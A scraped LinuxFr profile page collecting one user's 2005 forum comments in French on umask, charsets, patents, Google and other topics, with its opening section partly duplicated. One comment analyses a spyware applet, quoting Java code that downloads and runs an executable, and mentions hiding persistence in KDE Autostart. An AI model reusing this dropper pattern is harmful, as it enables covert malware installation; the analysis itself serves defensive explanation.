1. C'est justement parce que l'on est plus en 1998 que l'on ne peut plus récupérer un fichier effacé : le système est trop dynamique, il y a trop de processus, les blocs libres peuvent être repris à la première activité. Le déseffacement, ça n'a marché que sur les machines monotaches, avec ce bon vieil MS-DOS.
2. Pour revenir à des révisions ultérieures, il va te falloir attendre encore quelques progrès dans le voyage à travers le temps. :-) Ceci dit, tu peux d'ores et déjà t'acheter une Alpha (ou même un VAX) et faire tourner VMS dessus, et tu les auras tes versions -- elles y sont depuis une vingtaine d'années. Ah, y'a même un émulateur VAX pour processeurs IA32, mais ça risque d'être un peu lent.
Allez hop, comme chaque année, c'est parti pour le défilé des annonces invraisemblables, des poissons d'avrils tellement gros que seuls les plus obtus s'y laissent prendre vingt secondes, des sites de news rendus inutiles parce qu'ils ne postent que des nouvelles démenties dès le premier commentaire.
Je ne sais pas si je dois remercier Antoine d'avoir dès à présent désamorcé cette journée grâce à ce journal qui rappelle clairement la situation à la plupart des visiteurs, ou si je dois regretter qu'il ait gâché cette seule chance de faire monter le pouls des lecteurs de LinuxFr : ce poisson-là n'était pas trop mal (il a changé depuis que le journal a été posté, d'ailleurs).
Finalement, c'est peut-être l'occasion de raccrocher une journée, de laisser LinuxFr et autres Slashdot de côté, et de passer quarante-huit heures loin de cet exercice attendu et factice. (Oui, quarante-huit heures, grâce aux décalages horaires.)
En fait je veux afficher mon programme dans une console et pas l'imprimer
Utilise ncurses pour tracer des lignes et des rectangles, et autres fenêtres et menus en mode texte. Ah oui, c'est pas une partie de plaisir d'après ce qu'on m'a dit.
On a quand même appris que la boîte de dialogue d'Opera est plus claire que celle de Firefox sur les conséquences d'un « oui », et qu'il faudrait améliorer ce dernier.
Firefox émet un premier avertissement concernant les problèmes du certificat utilisé. L'utilisateur expérimenté passe son chemin, mais si quelqu'un choisit de faire confiance à l'applet, il devrait ensuite avoir un avertissement lorsque celle-ci tente de sortir du bac à sable, une boîte de dialogue du genre « ce programme tente d'écrire sur votre disque dur, voulez-vous l'autoriser à le faire ? » (avec pause de quelques secondes avant que les boutons ne s'activent). Bien sûr, il restera des gens pour cliquer « oui », mais bon nombre d'utilisateurs qui ne comprennent rien aux certificats et trucs compliqués sera plus réceptif à une tentative d'écriture sur le disque (après tout, on leur a bien expliqué que les cookies étaient stockés sur le disque dur, et que c'était mal...).
On pourrait aussi décider d'interdire complètement les exec(), une interdiction paramétrable dans la configuration du navigateur, tout comme on interdit actuellement à JavaScript d'ouvrir une fenêtre...
Enfin bref, pour l'essentiel, un problème pour les experts d'interface homme-machine et d'interface chaise-clavier.
* Créé un fichier temporaire dont le nom finit par ".exe"
* Mets-y les octets que l'on trouve dans "url" (donc, télécharge un exe à partir du site)
* Selon différentes valeurs trouvées dans l'environnement et les paramètres, créé les arguments appropriés pour le programme (identifiant du compte de l'utilisateur, etc.)
* Exécute le fichier temporaire
C'est l'exécutable téléchargé qui fout ensuite le boxon sur la machine. Cet exécutable n'a rien à voir avec Java ou Firefox (ou Opéra ou quoi que ce soit). Le fait qu'il puisse foutre le boxon sur la machine a tout à voir avec Windows. (On pourrait imaginer d'ailleurs une version Linux qui explose le répertoire personnel de l'utilisateur, ça marcherait très bien. Ou pour être plus discret, qui ajoute des entrées dans $HOME/.kde/Autostart/ et dans $HOME/.kde/shutdown/.)
Mais revenons à notre problème initial : comment Java a-t-il pu créer et puis lancer cet exécutable ? Où est le célèbre bac à sable qui fait la sécurité des applets ? Et bien, par défaut, il est là, bien sûr, et il interdit l'exécution des méthodes createTempFile() et exec(). Y'a qu'à voir le résultat dans la console Java d'Opéra :
java.lang.SecurityException: Unable to create temporary file
at java.io.File.checkAndCreate(Unknown Source)
at java.io.File.createTempFile(Unknown Source)
at java.io.File.createTempFile(Unknown Source)
at InstallerApplet.jbInit(InstallerApplet.java:73)
at InstallerApplet.init(InstallerApplet.java:65)
at sun.applet.AppletPanel.run(Unknown Source)
at java.lang.Thread.run(Unknown Source)
Par contre, comme le navigateur est poli, il demande à l'utilisateur l'autorisation d'exécuter ces méthodes. À ce niveau, la boîte de dialogue d'Opéra est beaucoup plus claire que celle de Firefox :
Mais dans les deux cas, on sait bien que beaucoup d'utilisateurs vont cliquer « Oui », car la principale faille de sécurité reste située entre la chaise et le clavier.
Possibilités d'amélioration pour les navigateurs : boîtes de dialogue encore plus claires (notamment pour Firefox), voire même blocage silencieux de certaines actions Java.
Ces derniers temps, on dirait que tout ce que les gens sont capables de faire, c'est de lire un « article » sur Internet (consistant en un résumé et un lien), et de produire en retour un « article » encore plus résumé et encore plus extrême, sans réfléchir une demi-seconde sur l'énormité de ce qu'ils affirment parfois.
Dans le cas présent, on part d'une bafouille intéressante et honnête sur le blog « Language Log », on passe par un gros délire troll politique sur Slashdot, et on arrive sur une information « Jacques Chirac envisagerait une collaboration avec MS » qui n'est pas fondée -- ce sont des conseillers du président qui affirment que c'est de l'ordre du possible, ce qui n'a rien à voir en terme d'importance.
Enfin bref, je suppose que face à l'urgence d'une nouvelle aussi capitale, il est normal de ne vérifier aucune source et de ne pas brancher le cerveau. Ou alors, l'auteur de ce journal est déjà bien gentil de nous avoir transmis ce troll cette information, on ne va quand même pas avoir le brave culot de lui demander de vérifier un minimum ce qu'il diffuse, car après tout, ce qui compte, c'est les deux minutes qu'il a gagnées en ne vérifiant rien, les éventuelles dizaines de fois cinq minutes que ses lecteurs passeront à débattre de cette non-nouvelle (et à la diffuser) n'ont aucune importance.
C'est une chose de trouver la FFII excessive (je suis de ton avis), c'est autre chose d'écrire des commentaires comme celui que tu mets en lien. Bref, je trouve ton commentaire présent pertinent, et l'autre inutile...
S'il s'agit d'un disque qui n'est accédé que par Linux, ça n'a aucune importance. S'il s'agit d'un disque qui est aussi accédé par MS-DOS et les vieux Windows, ça peut poser problème (peut-être). S'il s'agit d'un disque qui est aussi accédé par un Windows moderne, je ne sais pas.
Voir aussi l'avis d'Eolas. Je trouve intéressant que le moindre billet qu'il poste sur l'affaire Guillermito est immédiatement relayé dans un journal ici, alors que son billet « je vois pas le problème » sur la séance du 7 mars 2005 n'a pas été mentionnée ici (à moins que j'ai raté un journal).
« Donc le 7 mars n'est pas un jour sombre pour la démocratie : c'est une répétition du résultat de mai 2004. Le Conseil s'en tient à sa position, et veut en découdre avec le Parlement, et pour cela appelle de ses voeux un comité de conciliation. Si ce comité (les membres du Conseil + un nombre égal de députés) ne parvient pas à une solution acceptée par les deux parties, ce sera la mort de cette directive. »
Par contre, il affiche des extraits de textes et des images de dépêches afp publiées par d'autres sites, ceux-là abonnées à l'afp.
Enfin quelqu'un qui a compris le fond du problème, et la partie la plus valable de la plainte de l'AFP. Par exemple, en ce moment il y a une photo de manif sur Google News, elle est créditée « Tribune de Genève » (qui est en fait le site sur lequel on tombe si on clique sur l'image), alors que c'est une photo AFP (comme on peut le voir une fois sur le site).
Je me demande dans quel but tu les a oubliés ? Petit malhonnête, va. (J'ai essayé de laisser toutes les fautes, mais c'est pas facile.)
« Pour autant, il convient de signaler l'innoquité (pour ne pas dire l'inéficacité) du produit VIGUARD, qui, au même titre que de nombreux logiciels du marché, n'hésite pas à vanter ses qualités au travers d'une publicité dont les termes confie à ce logiciel une grande responsabilité quand au maintien de la sécurité informatique. Une sécurité qui fait sans doute défaut. Une presse qui a elle-même, classé ce produit (dans sa version de l'époque) parmi les plus inéficaces du marché (cf. C.R.). »
« Il convient toutefois de noter que sur les diffamations, si M. Txxxx en use sur son site de discussion, la société VIGUARD, y a bien eu recours aussi, souvent au travers d'allusions hasardeuses et peu structurées. »
« (...) Une connaissance extrêmement prisée sur un marché de l'informatique de plus en plus conscient de ses failles, et ou le commerce prend souvent le pas sur l'exigence de qualité et de sûreté.
Dès lors, et malgré la caractérisation des faits de M. Txxxx, le rôle de l'Internet et sa capacité de débat démocratique (en particulier sur ses groupes de discussions), permets la remise en cause d'idées souvent « reçues », par des consommateurs bien peut informés.
C'est en cela, qu'une partie du « travail » de M. Txxxx pu apparaître comme « utile » aux yeux de la justice. »
Ça me plaît bien de les voir continuer à bosser et introduire leur lot d'innovations (l'autoconfiguration a l'air d'être devenue utilisable). Je n'oublie pas que pendant des années, X.Org s'est assis sur ses lauriers et XFree86 a poussé de l'avant, notamment au niveau du support des PC. Même si le flambeau a quelque peu changé de main, je préfère savoir qu'une autre équipe continue à veiller au grain, au cas où les grosses boiboites derrière X.Org décidaient à nouveau qu'ils n'ont plus d'intérêt à soutenir de nouvelles versions.
répandre de façon insidieuse le seul point du vue "made in the US in english" sur l'interprétation du monde
Parce que, c'est bien connu, Google ne pratique que l'english des US, et ne s'est jamais préoccupé d'être accessible dans d'autres langues.
Pace que, c'est bien connu aussi, ils sont tout puissants et infiniment riches, et donc tout programme de numérisation qui n'inclut pas d'un coup l'intégralité des oeuvres de l'intégralité des bibliothèques de la planète est forcément un complot de leur part dans le cadre de leurs fort noirs dessins.
Parce que, enfin, c'est bien connu que Google a fort publiquement refusé d'aider qui que ce soit à numériser ses bouquins, afin d'assurer un pouvoir millénaire à l'en_US.
(Paraît même qu'ils ont des commandos de ninja-garous pour empêcher quiconque de scanner les textes non-anglais qui résistent à leur pouvoir.)
D'une part à lister les projets open-source créés par les ingénieurs de Google pendant les 20% de temps libre rémunéré dont ils disposent. D'autre part à informer les programmeurs utilisant les API Google. De troisième part à faire la promotion des applications qui utilisent ces projets et/ou ces API.
Si je comprends bien il met à disposition les outils et les sources des outils utilisés par google ... ok ... mais quoi d'autre ?
Bon manifestement tu n'as pas tout compris, Google est loin d'avoir mis tous ses outils en open-source. Ceci dit, c'est déjà pas mal ce qu'ils font. Qu'attendais-tu ? Que les ingénieurs Google viennent chez toi faire le ménage ?
pourquoi faire autant de bruit autour de ca
Quel bruit ? Google fait du bruit ? Non, ils ont juste indiqué le lancement du site sur leur blog, le strict minimum de la com'. Tous les sites de news font du bruit ? C'est parce dès que Google cligne de l'oeil, tous les sites de news ne peuvent s'empêcher de pondre de longs articles sur les tentatives de Google d'avoir l'oeil sur tout le monde. LinuxFr fait du bruit ? Ce n'est qu'un simple troll de seconde page, je n'appelle pas ça du bruit.
Non, mais toi, tu as l'air d'être dans un sale état.
si le server est un Linux, c est simplissime
Tu veux dire que sous Linux, tout est simplissime ? Ou que la gestion des droits d'accès est simplissime ? Ce fil de discussion est la preuve que ce n'est clairement pas le cas.
Cf les posts juste au dessus et dessous.
Il confondent umask et permission par défaut . Seul l'umask est réglable. Chacun est persuadé que « c'est possible », mais aucun ne le montre. Moi, je lis open(2), et je sais que ce n'est pas possible, à moins d'utiliser une des méthodes que je mentionne plus haut (notamment une bibliothèque pre-load pour modifier le comportement d'open).
toute decision sous UNIX est sujette a une action par default, et elle est toujours ocnfigurable dans etc.
Du pur délire.
il n y a jamais rien de decide ou fixe dans /lib ou /usr. Revise la structure des UNIX.
Que viens faire l'organistation du système de fichier dans cette discussion ? Tu mélanges tout.
DoubleHP, je ne te réponds que parce que tu es un contributeur régulier ici, et ça m'attriste de te voir rédiger ce genre de truc. Reprends-toi.
C'est l'umask par défaut qu'on y trouve (plus plein d'autres réglages utiles). La valeur par défaut, c'est l'application (ou la bibliothèque à laquelle elle fait appel) qui la choisit, et c'est le plus souvent 0666, suivi d'un fchmod() quand ça ne plaît pas au programmeur.
Bref, Dominique n'a que des solutions pas faciles à mettre en oeuvre (création d'une bibliothèque pre-load pour modifier le comportement des routines système, modification ou création d'un plugin pour son système de fichier), ou des solutions un peu bourrin (un cron toutes les cinq minutes qui met les bonnes permissions).
Ceci dit, il y a clairement un problème d'interface, j'ai failli me faire avoir, et je me suis déjà fait avoir sur une question Mandrake. Il faut que le nom du forum auquel le fil de discussion appartient soit bien grassement visible quand on rédige une réponse.
Comme plusieurs autres personnes (peut-être même beaucoup), je me contente de jeter de temps en temps un coup d'oeil à la page principale du forum pour voir si je peux aider, et je prête très peu d'attention au forum auquel un message appartient, notamment parce que c'est très discret.
Mais qui sont les cons qui "moinsse" systématiquement tous les commentaires ? Il sont tous négatifs (moyenne de -1 !), donc tous cachés par défaut. Très intelligent ...
Heureusement ton commentaire est là pour relever le niveau.
Comme tu peux le voir, la note des commentaires évolue, et maintenant ça n'a plus rien à voir avec le triste spectacle que tu as pu apercevoir pendant quelques minutes. Je ne sais pas qui a voté comme ça, mais outre un éventuel maniaque anti-Adobe, le fait que le premier commentaire apportait peu et pouvait partir en troll de distro, et que plus bas trois messages discutaient en détail d'Acrobat sous Windows, peut expliquer certaines notes initiales.
Ceci dit, mon seuil de visu est à -42, donc les histoires de messages cachés, ça m'indiffère complètement. Et bien sûr, j'ai considéré que ton message était fort inutile.
« Levons d'abord le mensonge (probablement plus fruit de l'ignorance que d'autre chose) que l'on a régulièrement pu lire, selon lequel cela implique par exemple qu'une entreprise polonaise du BTP pourrait construire un bâtiment en France avec des ouvriers recevant rémunérations et conditions de travail polonaises, et non françaises. Ce sujet, en réalité, n'est pas couvert par la directive mais par la directive européenne 96/71 de 1996, qui stipule que les travailleurs exerçant dans un pays de l'Union européenne doivent respecter la législation sociale du pays dans lequel ils travaillent. »
Une fois bien installé (ce qui n'a rien de trop difficile avec les versions récentes), Dosemu + Freedos roxe fort. J'ai récemment fait le tour de pas mal de vieux jeux que j'aimais bien, ça c'est plutôt bien passé, en particulier avec Day of the Tentacle, qui marche 100% parfaitement (et avec le MIDI de la Sound Blaster Live, que du bonheur). J'y ai rejoué en entier, c'est resté génial. Avec le recul, je m'aperçois que peu de jeux ont égalé celui-là au niveau de la qualité des dialogues (enregistrement + qualité du jeu des acteurs, sans compter la drôlerie des situations).
L'umask ne sert qu'à restreindre les droits demandés par une application, il ne les augmente pas. Ton application a probablement demandé du 0666, et ça a donc donné du 0640. Si tu veux du 0740, il va probablement falloir partir de 0777.
Ouais ben ici le rendu de polices anti-aliasé se fait très bien sans (et s'est toujours très bien fait sans). Je n'ai pas l'impression d'avoir quoi que ce soit qui rame. Bon, c'est vrai que j'ai un PIII 750, donc ça aide. Ceci dit, même sur le PIII 450, je ne ressens pas de problème au niveau des polices ou de la vitesse de l'affichage.
# Réponses
Posté par Boa Treize (site web personnel) . En réponse au journal Filesystem "versionalisé" ? (!$@ de subversion). Évalué à 4.
2. Pour revenir à des révisions ultérieures, il va te falloir attendre encore quelques progrès dans le voyage à travers le temps. :-) Ceci dit, tu peux d'ores et déjà t'acheter une Alpha (ou même un VAX) et faire tourner VMS dessus, et tu les auras tes versions -- elles y sont depuis une vingtaine d'années. Ah, y'a même un émulateur VAX pour processeurs IA32, mais ça risque d'être un peu lent.
# C'est parti
Posté par Boa Treize (site web personnel) . En réponse au journal Le premier poisson d'avril. Évalué à 8.
Je ne sais pas si je dois remercier Antoine d'avoir dès à présent désamorcé cette journée grâce à ce journal qui rappelle clairement la situation à la plupart des visiteurs, ou si je dois regretter qu'il ait gâché cette seule chance de faire monter le pouls des lecteurs de LinuxFr : ce poisson-là n'était pas trop mal (il a changé depuis que le journal a été posté, d'ailleurs).
Finalement, c'est peut-être l'occasion de raccrocher une journée, de laisser LinuxFr et autres Slashdot de côté, et de passer quarante-huit heures loin de cet exercice attendu et factice. (Oui, quarante-huit heures, grâce aux décalages horaires.)
[^] # Re: Bienvenue dans le monde merveilleux des charsets.
Posté par Boa Treize (site web personnel) . En réponse au message Caractères imprimables qui passent pas. Évalué à 4.
Mais si il les gère très bien, c'est toi qui a beaucoup de choses à apprendre sur la gestion des caratères, tu es resté au moins dix ans en arrière.
Avec les réglages par défaut de Slackware (qui sont ceux de la plupart des distributions Linux, sauf celles qui sont intégralement en UTF-8) :
printf("%c", 196); // ça doit t'afficher un A majuscule tréma
printf("%c", 217); // ça doit t'afficher un U majuscule grave
La liste des caractères est ici :
http://czyborra.com/charsets/iso8859.html#ISO-8859-1(...)
En fait je veux afficher mon programme dans une console et pas l'imprimer
Utilise ncurses pour tracer des lignes et des rectangles, et autres fenêtres et menus en mode texte. Ah oui, c'est pas une partie de plaisir d'après ce qu'on m'a dit.
[^] # Re: Déjà fait
Posté par Boa Treize (site web personnel) . En réponse au journal Bug de konqueror 3.4 avec linuxfr. Évalué à 3.
Pour ce qui est de Konqueror, tu as l'URL du rapport de bogue ? (Son numéro sur bugs.kde.org me suffit.)
[^] # Si, une chose
Posté par Boa Treize (site web personnel) . En réponse au journal Java pour installer des spywares ?. Évalué à 5.
Firefox émet un premier avertissement concernant les problèmes du certificat utilisé. L'utilisateur expérimenté passe son chemin, mais si quelqu'un choisit de faire confiance à l'applet, il devrait ensuite avoir un avertissement lorsque celle-ci tente de sortir du bac à sable, une boîte de dialogue du genre « ce programme tente d'écrire sur votre disque dur, voulez-vous l'autoriser à le faire ? » (avec pause de quelques secondes avant que les boutons ne s'activent). Bien sûr, il restera des gens pour cliquer « oui », mais bon nombre d'utilisateurs qui ne comprennent rien aux certificats et trucs compliqués sera plus réceptif à une tentative d'écriture sur le disque (après tout, on leur a bien expliqué que les cookies étaient stockés sur le disque dur, et que c'était mal...).
On pourrait aussi décider d'interdire complètement les exec(), une interdiction paramétrable dans la configuration du navigateur, tout comme on interdit actuellement à JavaScript d'ouvrir une fenêtre...
Enfin bref, pour l'essentiel, un problème pour les experts d'interface homme-machine et d'interface chaise-clavier.
# Explications
Posté par Boa Treize (site web personnel) . En réponse au journal Java pour installer des spywares ?. Évalué à 10.
private void jbInit() throws Exception
{
File file = File.createTempFile(app, ".exe");
ByteArrayOutputStream bytearrayoutputstream = downloadFile(url);
if (bytearrayoutputstream == null)
throw new IOException("downloading was failed");
String s = saveFile(bytearrayoutputstream, file);
bytearrayoutputstream.close();
String s1 = "";
if (account_id != null && account_id.length() > 0)
s1 = s1 + " /aid:" + account_id;
if (download_key != null && download_key.length() > 0)
s1 = s1 + " /key:" + download_key;
if (download_lock != null && download_lock.length() > 0)
s1 = s1 + " /lock:" + download_lock;
if (cfg != null && cfg.length() > 0)
s1 = s1 + " /cfg:" + cfg;
if (sub != null && sub.length() > 0)
s1 = s1 + " /sub:" + sub;
Runtime.getRuntime().exec(file.getAbsolutePath() + s1);
}
Traduit en français :
* Créé un fichier temporaire dont le nom finit par ".exe"
* Mets-y les octets que l'on trouve dans "url" (donc, télécharge un exe à partir du site)
* Selon différentes valeurs trouvées dans l'environnement et les paramètres, créé les arguments appropriés pour le programme (identifiant du compte de l'utilisateur, etc.)
* Exécute le fichier temporaire
C'est l'exécutable téléchargé qui fout ensuite le boxon sur la machine. Cet exécutable n'a rien à voir avec Java ou Firefox (ou Opéra ou quoi que ce soit). Le fait qu'il puisse foutre le boxon sur la machine a tout à voir avec Windows. (On pourrait imaginer d'ailleurs une version Linux qui explose le répertoire personnel de l'utilisateur, ça marcherait très bien. Ou pour être plus discret, qui ajoute des entrées dans $HOME/.kde/Autostart/ et dans $HOME/.kde/shutdown/.)
Mais revenons à notre problème initial : comment Java a-t-il pu créer et puis lancer cet exécutable ? Où est le célèbre bac à sable qui fait la sécurité des applets ? Et bien, par défaut, il est là, bien sûr, et il interdit l'exécution des méthodes createTempFile() et exec(). Y'a qu'à voir le résultat dans la console Java d'Opéra :
java.lang.SecurityException: Unable to create temporary file
at java.io.File.checkAndCreate(Unknown Source)
at java.io.File.createTempFile(Unknown Source)
at java.io.File.createTempFile(Unknown Source)
at InstallerApplet.jbInit(InstallerApplet.java:73)
at InstallerApplet.init(InstallerApplet.java:65)
at sun.applet.AppletPanel.run(Unknown Source)
at java.lang.Thread.run(Unknown Source)
Par contre, comme le navigateur est poli, il demande à l'utilisateur l'autorisation d'exécuter ces méthodes. À ce niveau, la boîte de dialogue d'Opéra est beaucoup plus claire que celle de Firefox :
Opéra (demande plus de privilèges)
http://people.opera.com/rijk/tmp/java-warning.png(...)
Firefox (demande habituelle de faire confiance)
http://people.opera.com/rijk/tmp/java-warning-ff.png(...)
(note : la boîte serait plus anodine si le certificat était valide)
Mais dans les deux cas, on sait bien que beaucoup d'utilisateurs vont cliquer « Oui », car la principale faille de sécurité reste située entre la chaise et le clavier.
Possibilités d'amélioration pour les navigateurs : boîtes de dialogue encore plus claires (notamment pour Firefox), voire même blocage silencieux de certaines actions Java.
Sources :
Réponses à l'article dans le blog (très mal titré d'ailleurs)
http://www.vitalsecurity.org/2005/03/firefox-spyware-infects-ie.htm(...)
Fil de discussion chez Opéra
http://my.opera.com/forums/showthread.php?s=512c7fd1aabfb0005ffc002(...)
# Y a-t-il...
Posté par Boa Treize (site web personnel) . En réponse au journal Partenariat France-MS ?. Évalué à 10.
Ces derniers temps, on dirait que tout ce que les gens sont capables de faire, c'est de lire un « article » sur Internet (consistant en un résumé et un lien), et de produire en retour un « article » encore plus résumé et encore plus extrême, sans réfléchir une demi-seconde sur l'énormité de ce qu'ils affirment parfois.
Dans le cas présent, on part d'une bafouille intéressante et honnête sur le blog « Language Log », on passe par un gros délire troll politique sur Slashdot, et on arrive sur une information « Jacques Chirac envisagerait une collaboration avec MS » qui n'est pas fondée -- ce sont des conseillers du président qui affirment que c'est de l'ordre du possible, ce qui n'a rien à voir en terme d'importance.
Enfin bref, je suppose que face à l'urgence d'une nouvelle aussi capitale, il est normal de ne vérifier aucune source et de ne pas brancher le cerveau. Ou alors, l'auteur de ce journal est déjà bien gentil de nous avoir transmis ce troll cette information, on ne va quand même pas avoir le brave culot de lui demander de vérifier un minimum ce qu'il diffuse, car après tout, ce qui compte, c'est les deux minutes qu'il a gagnées en ne vérifiant rien, les éventuelles dizaines de fois cinq minutes que ses lecteurs passeront à débattre de cette non-nouvelle (et à la diffuser) n'ont aucune importance.
# Police MS
Posté par Boa Treize (site web personnel) . En réponse au message Le nouveau lemonde.fr et la visionneuse flash. Évalué à 2.
Faudrait que tu t'expliques, là. Je trouve moi que ces polices de caractères sont plutôt une bonne chose, niveau compatibilité web et design de site.
[^] # Re: « Les bourgeois mangent leurs propres enfants »
Posté par Boa Treize (site web personnel) . En réponse au journal Victimes des brevets logiciels : MPlayer. Évalué à 4.
# Sujet
Posté par Boa Treize (site web personnel) . En réponse au message sfdisk ?. Évalué à 3.
Globalement, pas trop de souci à se faire.
# Voter pour l'immobilisme
Posté par Boa Treize (site web personnel) . En réponse au journal [Semi Hors Sujet] Le traité "constitution" et les pouvoirs du conseil et du parlement.. Évalué à 1.
# L'avis d'Eolas
Posté par Boa Treize (site web personnel) . En réponse au journal Brevets: le ministre Verwilghen répond au Parlement belge. Évalué à 10.
Lecture intéressante, de la part de quelqu'un qui n'est pas spécialiste du débat, mais qui est à l'aise dans les règlements et autres traités.
http://maitre-eolas.fr/2005/03/18/94-mettons(...)
Je cite la conclusion :
« Donc le 7 mars n'est pas un jour sombre pour la démocratie : c'est une répétition du résultat de mai 2004. Le Conseil s'en tient à sa position, et veut en découdre avec le Parlement, et pour cela appelle de ses voeux un comité de conciliation. Si ce comité (les membres du Conseil + un nombre égal de députés) ne parvient pas à une solution acceptée par les deux parties, ce sera la mort de cette directive. »
[^] # Re: Commentaires perso.
Posté par Boa Treize (site web personnel) . En réponse au journal l'AFP réclame des sous (17M$) a Google.... Évalué à 2.
Enfin quelqu'un qui a compris le fond du problème, et la partie la plus valable de la plainte de l'AFP. Par exemple, en ce moment il y a une photo de manif sur Google News, elle est créditée « Tribune de Genève » (qui est en fait le site sur lequel on tombe si on clique sur l'image), alors que c'est une photo AFP (comme on peut le voir une fois sur le site).
# T'as oublié des morceaux
Posté par Boa Treize (site web personnel) . En réponse au journal Guillermito: le rapport d'expertise.. Évalué à 4.
« Pour autant, il convient de signaler l'innoquité (pour ne pas dire l'inéficacité) du produit VIGUARD, qui, au même titre que de nombreux logiciels du marché, n'hésite pas à vanter ses qualités au travers d'une publicité dont les termes confie à ce logiciel une grande responsabilité quand au maintien de la sécurité informatique. Une sécurité qui fait sans doute défaut. Une presse qui a elle-même, classé ce produit (dans sa version de l'époque) parmi les plus inéficaces du marché (cf. C.R.). »
« Il convient toutefois de noter que sur les diffamations, si M. Txxxx en use sur son site de discussion, la société VIGUARD, y a bien eu recours aussi, souvent au travers d'allusions hasardeuses et peu structurées. »
« (...) Une connaissance extrêmement prisée sur un marché de l'informatique de plus en plus conscient de ses failles, et ou le commerce prend souvent le pas sur l'exigence de qualité et de sûreté.
Dès lors, et malgré la caractérisation des faits de M. Txxxx, le rôle de l'Internet et sa capacité de débat démocratique (en particulier sur ses groupes de discussions), permets la remise en cause d'idées souvent « reçues », par des consommateurs bien peut informés.
C'est en cela, qu'une partie du « travail » de M. Txxxx pu apparaître comme « utile » aux yeux de la justice. »
# Sympa
Posté par Boa Treize (site web personnel) . En réponse au journal xfree 4.5 est sortit. Évalué à 10.
[^] # Re: Interet ?
Posté par Boa Treize (site web personnel) . En réponse à la dépêche Google lance un portail Open Source. Évalué à 8.
Parce que, c'est bien connu, Google ne pratique que l'english des US, et ne s'est jamais préoccupé d'être accessible dans d'autres langues.
Pace que, c'est bien connu aussi, ils sont tout puissants et infiniment riches, et donc tout programme de numérisation qui n'inclut pas d'un coup l'intégralité des oeuvres de l'intégralité des bibliothèques de la planète est forcément un complot de leur part dans le cadre de leurs fort noirs dessins.
Parce que, enfin, c'est bien connu que Google a fort publiquement refusé d'aider qui que ce soit à numériser ses bouquins, afin d'assurer un pouvoir millénaire à l'en_US.
(Paraît même qu'ils ont des commandos de ninja-garous pour empêcher quiconque de scanner les textes non-anglais qui résistent à leur pouvoir.)
[^] # Re: Interet ?
Posté par Boa Treize (site web personnel) . En réponse à la dépêche Google lance un portail Open Source. Évalué à 10.
D'une part à lister les projets open-source créés par les ingénieurs de Google pendant les 20% de temps libre rémunéré dont ils disposent. D'autre part à informer les programmeurs utilisant les API Google. De troisième part à faire la promotion des applications qui utilisent ces projets et/ou ces API.
Si je comprends bien il met à disposition les outils et les sources des outils utilisés par google ... ok ... mais quoi d'autre ?
Bon manifestement tu n'as pas tout compris, Google est loin d'avoir mis tous ses outils en open-source. Ceci dit, c'est déjà pas mal ce qu'ils font. Qu'attendais-tu ? Que les ingénieurs Google viennent chez toi faire le ménage ?
pourquoi faire autant de bruit autour de ca
Quel bruit ? Google fait du bruit ? Non, ils ont juste indiqué le lancement du site sur leur blog, le strict minimum de la com'. Tous les sites de news font du bruit ? C'est parce dès que Google cligne de l'oeil, tous les sites de news ne peuvent s'empêcher de pondre de longs articles sur les tentatives de Google d'avoir l'oeil sur tout le monde. LinuxFr fait du bruit ? Ce n'est qu'un simple troll de seconde page, je n'appelle pas ça du bruit.
[^] # Re: /etc
Posté par Boa Treize (site web personnel) . En réponse au message Umask sur les fichiers. Évalué à 2.
Non, mais toi, tu as l'air d'être dans un sale état.
si le server est un Linux, c est simplissime
Tu veux dire que sous Linux, tout est simplissime ? Ou que la gestion des droits d'accès est simplissime ? Ce fil de discussion est la preuve que ce n'est clairement pas le cas.
Cf les posts juste au dessus et dessous.
Il confondent umask et permission par défaut . Seul l'umask est réglable. Chacun est persuadé que « c'est possible », mais aucun ne le montre. Moi, je lis open(2), et je sais que ce n'est pas possible, à moins d'utiliser une des méthodes que je mentionne plus haut (notamment une bibliothèque pre-load pour modifier le comportement d'open).
toute decision sous UNIX est sujette a une action par default, et elle est toujours ocnfigurable dans etc.
Du pur délire.
il n y a jamais rien de decide ou fixe dans /lib ou /usr. Revise la structure des UNIX.
Que viens faire l'organistation du système de fichier dans cette discussion ? Tu mélanges tout.
DoubleHP, je ne te réponds que parce que tu es un contributeur régulier ici, et ça m'attriste de te voir rédiger ce genre de truc. Reprends-toi.
[^] # Re: /etc
Posté par Boa Treize (site web personnel) . En réponse au message Umask sur les fichiers. Évalué à 1.
C'est l'umask par défaut qu'on y trouve (plus plein d'autres réglages utiles). La valeur par défaut, c'est l'application (ou la bibliothèque à laquelle elle fait appel) qui la choisit, et c'est le plus souvent 0666, suivi d'un fchmod() quand ça ne plaît pas au programmeur.
Bref, Dominique n'a que des solutions pas faciles à mettre en oeuvre (création d'une bibliothèque pre-load pour modifier le comportement des routines système, modification ou création d'un plugin pour son système de fichier), ou des solutions un peu bourrin (un cron toutes les cinq minutes qui met les bonnes permissions).
[^] # Re: Sous debian,
Posté par Boa Treize (site web personnel) . En réponse au message Desinstaller un paquet et toutes les librairies qui ont été installées avec lui. Évalué à 2.
Comme plusieurs autres personnes (peut-être même beaucoup), je me contente de jeter de temps en temps un coup d'oeil à la page principale du forum pour voir si je peux aider, et je prête très peu d'attention au forum auquel un message appartient, notamment parce que c'est très discret.
[^] # Re: Moinssage systèmatique ???
Posté par Boa Treize (site web personnel) . En réponse au journal Acrobat Reader 7. Évalué à 3.
Heureusement ton commentaire est là pour relever le niveau.
Comme tu peux le voir, la note des commentaires évolue, et maintenant ça n'a plus rien à voir avec le triste spectacle que tu as pu apercevoir pendant quelques minutes. Je ne sais pas qui a voté comme ça, mais outre un éventuel maniaque anti-Adobe, le fait que le premier commentaire apportait peu et pouvait partir en troll de distro, et que plus bas trois messages discutaient en détail d'Acrobat sous Windows, peut expliquer certaines notes initiales.
Ceci dit, mon seuil de visu est à -42, donc les histoires de messages cachés, ça m'indiffère complètement. Et bien sûr, j'ai considéré que ton message était fort inutile.
# Son de cloche différent
Posté par Boa Treize (site web personnel) . En réponse au journal Retour du projet de directive Bolkenstein ?. Évalué à 4.
http://econoclaste.fr.st.free.fr/blog/html/modules.php?op=modload&a(...)
Avec notamment :
« Levons d'abord le mensonge (probablement plus fruit de l'ignorance que d'autre chose) que l'on a régulièrement pu lire, selon lequel cela implique par exemple qu'une entreprise polonaise du BTP pourrait construire un bâtiment en France avec des ouvriers recevant rémunérations et conditions de travail polonaises, et non françaises. Ce sujet, en réalité, n'est pas couvert par la directive mais par la directive européenne 96/71 de 1996, qui stipule que les travailleurs exerçant dans un pays de l'Union européenne doivent respecter la législation sociale du pays dans lequel ils travaillent. »
Pour plus de détails sur la directive elle-même :
